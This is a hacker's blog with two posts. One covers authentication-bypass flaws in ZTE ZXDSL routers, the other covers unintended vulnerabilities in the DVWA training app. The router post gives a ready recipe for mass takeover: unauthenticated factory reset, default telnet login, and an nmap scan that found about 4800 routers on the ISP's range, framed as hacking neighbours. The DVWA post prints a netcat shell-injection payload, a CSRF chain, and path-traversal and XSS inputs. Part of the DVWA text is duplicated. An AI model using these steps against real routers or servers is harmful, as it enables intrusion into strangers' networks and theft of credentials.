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ZTE ZXDSL 831 Router Exploits: Hacking and Rooting my internet neighbor

8:51 AM

ZTE is providing a ADSL routers in my home country. Since there is only one ISP and they are giving everyone ZTE routers when they get ADSL internet I thought looking into this would be interesting. Even though different router models are given, I was surprised to find out how similarly the software operated. After testing about 7 different ZXDSL models, I think all these bugs are present in all ZTE ZXDSL routers

Here is how it started, I got a new DSL internet modem (ZTE ZXDSL 831 II) and after some use, I forgot my password. I couldn't connect to the internet nor could I simply go to 192.168.1.1 and change my credentials (it used Basic HTTP Auth to authenticate, so bruteforce was an option...) but I took it as a challenge and try to get inside without brute. so I download the firmware...

It quickly turned out that not only was I able to hack it and root it, it was also very easy to hack  all the people around me (people using broadband in the country (if you know ip range ;O -- thanks to there only being one ISP and one router it uses by default)) and then write about it.

Since I wasn't able to find a direct way to access the modem directly using the IP, I started requesting some of the pages you encounter after auth.... and turns out most of those files were returning to me without a 401 Unauthorized error (unlike the login page), which is obviously Insecure Direct Object Reference vul. I quickly realized ZTE router programmers really don't know what IDOR bugs are, almost all ZTE routers I tested after this had similar IDOR bugs letting me bypass authentication if I know the name of the page. 

note that the modem comes with admin:admin password credentials, which is enough info to pwn people using the known IP range. But for those that change their default ssh/telnet and http logins, we need a different bug.

IDOR 1: Allows Root RCE

requesting http://<router-IP>/upload.cgi didn't throw up a 401 error. it just gives the upload page, Insecure Direct Object Reference. awesome! Here, we can upload a new firmware for the router. We can add a malicious binary/shell.in the squashfs file of the firmware and upload it, granting us persistent root access.

IDOR 2: Information Disclosure

Another bug I found was awesome, requesting http://
<router-IP>/pppoe.cgi would turn out the pppoe password and username when you view source. oouch!


IDOR 3: Authentication Bypass

If an attacker, who is NOT authenticated requests http://<router-IP>/resetrouter.cgi the router would reset all settings to factory mode without any confirmation or warning.

So the root password for ssh, and HTTP interface become admin:admin again, yay!

When I port scanned it using nmap -sV 192.168.1.1 and it returned

...
23/tcp   open   telnet  ZXDSL 831CII ADSL modem telnetd 5.2.0a_E29_ET
...

While SSH is disabled by default, looks like telnet isn't. and it looks like the default username and password works. After telneting we are greeted with a terrible shell. but if you type "sh" suddenly you are greeted with a busy box shell.

# cat /proc/cpuinfo
system type             : 96338L-2M-8M
processor               : 0
cpu model               : BCM6338 V1.0
BogoMIPS                : 239.20
wait instruction        : no
microsecond timers      : yes
tlb_entries             : 32
extra interrupt vector  : yes
hardware watchpoint     : no
unaligned access                : 1289794
VCED exceptions         : not available
VCEI exceptions         : not available

Dead performance!

So I did, "cat /proc/meminfo" (6MB it holds), then "cat /proc/version" and it returned
...
Linux version 2.6.8.1 (root@host.domain.com)
...

Even though there was a public local exploit to that kernel simply typing "echo $USER" revealed I was always root. no need to root shit. Simple as that.

going to, http://192.168.1.1/menu_status.html gives public ip address of the router without auth. (aside from lots of easier ways), it was 10.136.0.16 (obvioulsy not the real IP)

so lets scan my IP range to see what we find "nmap --open -sS -sV -T4 10.136.*.*/24 -p 80 -oG - | grep 'open' "

and quickly found out at least 4800 other routers online. You know its ez:

1. Attacker goes to https://<router-ip>/resetrouter.cgi
2. telnet <router-ip> admin:admin
3. pwn!

Well, that was a fun recovery time!


Happy Hacking!

Edit: btw I contacted ZTE and they said they will make better routers in the future, and will not be realizing patches for these modules.

Conclusion: ZTE makes bad routers, most "different models" run the same services, similar holes. it wasnt built in having security in mind. run if you see one! dont buy it! sue me!

and ya, disable remote logins to telnet, http etc. ;)

bypass

DVWA: Unintended Security Issues

4:04 AM


Hacking the Hackers

So your friend have DB-UUA? & you want to hack his ass?? :P

Here is the exploit link: http://pastebin.com/A7WV5MbK 

“Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment…” 



Well, basically it helps you learn about web security. It has 3 levels of security. Low, Medium and High. The “High” level is the secure considered level (it is supposed to be the secure version of ‘em all and not to be passed to teach the secure implementation of web applications for developers).

DVWA 1.0.x (The version I just installed) includes Brute Force, Command Execution, CSRF, File Inclusion, SQL Injection, Blind SQLi, Upload, XSS Stored and Reflected vulnerabilities to be played with.
Aside from those I believe there are some unintended security problems with the application itself even in the “High”est level.

Command Execution

This is an attacker perspective.

There is a .htacess file for DVWA not to be accessed other than locally. And also there is a command execution challenge. It is possible to execute commands in the challenge using inputs like 127.0.0.1;ls –la.
Imagine an attacker who knows you have DVWA want to execute commands remotely in your PC. But that won’t be possible since there is a .htaccess file permiting them from accessing your.ip.address/dvwa. But imagine if the attacker craft a CSRF for you to execute commands in the challenge. 


The fact that there is no anti-CSRF token in the command execution challenge puts you’re server in danger while browsing sites contain scripts like this if you are using low and medium level
“127.0.0.1;netcat –l 155.10.15.1 –p 4444” will allow the attacker to get a shell connection back to you using your PHP server.

But, if you use the high level, the above payload won’t work since it’s secure. Hmm. so the attacker needs to craft another CSRF for you to change your challenge level to low or medium, since there is still no anti-CSRF token in /security.php , why?? Lol. Anyway, Good for us. We will craft scripts like

That will make your challenge level to “low” and open a port back to the attackers PC.
But DVWA gives you session cookies for one IP. So localhost and your IP (x.x.x.x) won’t have same cookies. Meaning, even if the victim is logged in, our CSRF won’t work because we use they use their IP (which is unlikely they are logged in other than using localhost).

So imagine the victim is not logged in, have different password than default. And there is also that IP problem. It’s hard to create command execution now. Harder but not impossible, because there is no token in /setup.php too. Why? Lol.
Now we make the user reset their database (which also resets password) in case they change it back other than the default value “password”. Then now we know the admin new password and username is reset back to admin and password for password.

Now we make the victim login using our default new password and username since there is no login token too. Nice.

Now we have a 99% success rate to get shell when victim visit our CSRF link once we automate the 
process.

For testing I just add each csrf to csrf1.php csrf2.php… respectively and I added an auto submitter for all of them. Then I created one file called all.php then I framed all of them with 0 width and  0 height for the pixel to be hidden while submittion… so all.php submits all the 4 csrfs and get us a shell when victim visit our link (all.php). which is awesome because anyone who have dvwa is shitty doomed! Lol
So Finally with Tabor Nekatebeb we created a JavaScript exploit for the working exploit and upload it to packet-storm http://packetstormsecurity.com/files/128253/DVWA-Cross-Site-Request-Forgery.html

Unintended L/RFI

/vulnerabilities/view_source.php?id=csrf&security=../../../config/config.inc

XSS in the upload section.

DVWA’s High level file upload is very interesting. I believe it’s very secure aside from the fact that it doesn’t read image binaries to realize it’s a real image other than the image extension and content-type headers. (Note this can be a very easy way to escalate if: LFI { command execution})
But that’s not the only issue in the upload section, the uploaded file names aren’t sanitized, they just will be printed out in a <pre> tag. This is bad because this can be escalated to cause reflective XSS.

That is the secure “considered” code for file upload but to at least eliminate XSS, I believe the code should become 

“$uploaded_name = htmlentities($_FILES[‘uploaded’][‘name’];” is all I add to eliminate cross site scripting, before that an attacker can upload a file named” </pre><script>alert(0);</script>.jpeg” (Note: use *nix based systems since windows pretty much won’t let you save a file with a name <,> or pretty much any cool symbols unless you intercept the requests)
Another XSS could be done even when after htmlentities actually (but requires user interaction), a user can upload a file called “javascript:alert(0);//.jpeg” and when a user visits http://localhost/dvwa/hackable/uploads/ a link with the image location will be generated like
<a href="Javascript:alert(0);//.jpeg">Javascript</a></td><td align="right"> so if the user click on the image,
there will still be XSS. It is often recommended to give uploaded files computer generated names.


The fact that Ajax can’t make external HTTP request prior to the Same-Origin Policy for XMLHTTPRequest make the exploit self only. But using HTML and Javascript you can create a working exploit to own anyones ass. ;P we did that to stop skids using this to hack your elite ass just for having DVWA. 

Local File Disclosure

vulnerabilities/view_help.php doesn’t sanitize user input before giving a page help preview.
Thus, leading to Local File Disclosure.

(Note: if magic_quote_gpc is enabled than the null byte() will get converted to /0, implying that the attack will fail)

but we can still exploit this with Path Truncation.


XSS in the upload section.

DVWA’s High level file upload is very interesting. I believe it’s very secure aside from the fact that it doesn’t read image binaries to realize it’s a real image other than the image extension and content-type headers. (Note this can be a very easy way to escalate if: LFI { command execution})
But that’s not the only issue in the upload section, the uploaded file names aren’t sanitized, they just will be printed out in a <pre> tag. This is bad because this can be escalated to cause reflective XSS.
That is the secure “considered” code for file upload but to at least eliminate XSS, I believe the code should become
“$uploaded_name = htmlentities($_FILES[‘uploaded’][‘name’];” is all I add to eliminate cross site scripting, before that an attacker can upload a file named” </pre><script>alert(0);</script>.jpeg” (Note: use *nix based systems since windows pretty much won’t let you save a file with a name <,> or pretty much any cool symbols unless you intercept the requests)

Another XSS could be done even when after htmlentities actually (but requires user interaction), a user can upload a file called “javascript:alert(0);//.jpeg” and when a user visits http://localhost/dvwa/hackable/uploads/ a link with the image location will be generated like

<a href="Javascript:alert(0);//.jpeg">Javascript</a></td><td align="right"> so if the user click on the image, there will still be XSS. It is often recommended to give uploaded files computer generated names.

XSS in viewsource.php


Self-XSS setup.php
The setup.php contains the following code.


And DVWA explain the dvwaPageReload() function in the else statement as



And if somehow two of the if and elseif checks fail the dvwaPageReload Redirection happen with dvwaMessagePush() thus our payload “><script>alert(0);</script> being executed. J

Bonus

In the beginning I wrote “DB-UUA” as you were expecting DVWA so you probably are wondering if it’s a typo lol. Well if you made it this far, you deserve a little break why, B sounds better than V. and the UU is W. it have history you know, W is called Double U because long ago people use to write two U’s and say look homie… a W. So UU is W. uutf right?

And ya, there are lots of FPDs

Login.php:           Login[$shit]=1&password=password&username=admin
Login=Login=Login&password[]=password&username=admin
Login=Login=Login&password=password&username[]=admin